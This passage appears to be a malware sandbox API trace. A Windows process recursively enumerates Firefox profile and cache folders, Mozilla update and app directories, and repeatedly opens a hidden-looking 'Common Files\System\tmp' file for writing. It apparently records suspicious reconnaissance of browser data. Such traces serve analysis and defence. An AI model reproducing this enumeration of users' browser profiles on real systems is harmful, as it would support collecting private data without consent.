cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.546] GetFileType (hFile=0x18c) returned 0x1 [0145.547] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.547] AreFileApisANSI () returned 1 [0145.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.547] GetFileType (hFile=0x190) returned 0x1 [0145.547] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.548] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.548] GetLastError () returned 0x12 [0145.548] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.548] GetLastError () returned 0x12 [0145.548] AreFileApisANSI () returned 1 [0145.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.548] GetFileType (hFile=0x18c) returned 0x1 [0145.548] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.548] AreFileApisANSI () returned 1 [0145.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.549] GetFileType (hFile=0x190) returned 0x1 [0145.549] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.549] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.549] GetLastError () returned 0x12 [0145.549] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.549] GetLastError () returned 0x12 [0145.549] AreFileApisANSI () returned 1 [0145.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.549] GetFileType (hFile=0x18c) returned 0x1 [0145.549] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.550] AreFileApisANSI () returned 1 [0145.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.550] GetFileType (hFile=0x190) returned 0x1 [0145.550] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.550] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.550] GetLastError () returned 0x12 [0145.550] AreFileApisANSI () returned 1 [0145.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.551] GetFileType (hFile=0x190) returned 0x1 [0145.551] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.551] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.551] GetLastError () returned 0x12 [0145.551] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.551] GetLastError () returned 0x12 [0145.551] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.551] GetLastError () returned 0x12 [0145.551] AreFileApisANSI () returned 1 [0145.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.551] GetFileType (hFile=0x188) returned 0x1 [0145.552] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbecfd400, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbecfd400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.552] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.552] GetLastError () returned 0x12 [0145.552] AreFileApisANSI () returned 1 [0145.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.552] GetFileType (hFile=0x188) returned 0x1 [0145.552] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.553] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.554] GetLastError () returned 0x12 [0145.554] AreFileApisANSI () returned 1 [0145.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.554] GetFileType (hFile=0x188) returned 0x1 [0145.554] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.554] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.554] GetLastError () returned 0x12 [0145.554] AreFileApisANSI () returned 1 [0145.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.555] GetFileType (hFile=0x188) returned 0x1 [0145.555] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.556] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.556] GetLastError () returned 0x12 [0145.556] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.556] GetLastError () returned 0x12 [0145.556] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.556] GetLastError () returned 0x12 [0145.557] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.557] GetLastError () returned 0x12 [0145.557] AreFileApisANSI () returned 1 [0145.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.557] GetFileType (hFile=0x17c) returned 0x1 [0145.557] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.557] AreFileApisANSI () returned 1 [0145.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.557] GetFileType (hFile=0x180) returned 0x1 [0145.557] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.558] AreFileApisANSI () returned 1 [0145.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.558] GetFileType (hFile=0x184) returned 0x1 [0145.558] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb74b7b30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb74b7b30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.559] AreFileApisANSI () returned 1 [0145.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.559] GetFileType (hFile=0x188) returned 0x1 [0145.559] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x33, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.559] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.559] GetLastError () returned 0x12 [0145.559] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.559] GetLastError () returned 0x12 [0145.559] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.559] GetLastError () returned 0x12 [0145.560] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.560] GetLastError () returned 0x12 [0145.560] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0145.560] GetLastError () returned 0x12 [0145.560] AreFileApisANSI () returned 1 [0145.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0145.560] GetFileType (hFile=0x178) returned 0x1 [0145.560] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd0, dwReserved1=0x834a78, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0145.560] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0145.560] GetLastError () returned 0x12 [0145.560] FindClose (in: hFindFile=0x7d1670 | out: hFindFile=0x7d1670) returned 1 [0145.561] GetLastError () returned 0x12 [0145.561] AreFileApisANSI () returned 1 [0145.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c860, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0145.561] GetFileType (hFile=0x174) returned 0x1 [0145.561] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1670 [0145.561] AreFileApisANSI () returned 1 [0145.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0145.561] GetFileType (hFile=0x178) returned 0x1 [0145.561] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0145.561] AreFileApisANSI () returned 1 [0145.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.562] GetFileType (hFile=0x17c) returned 0x1 [0145.562] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS 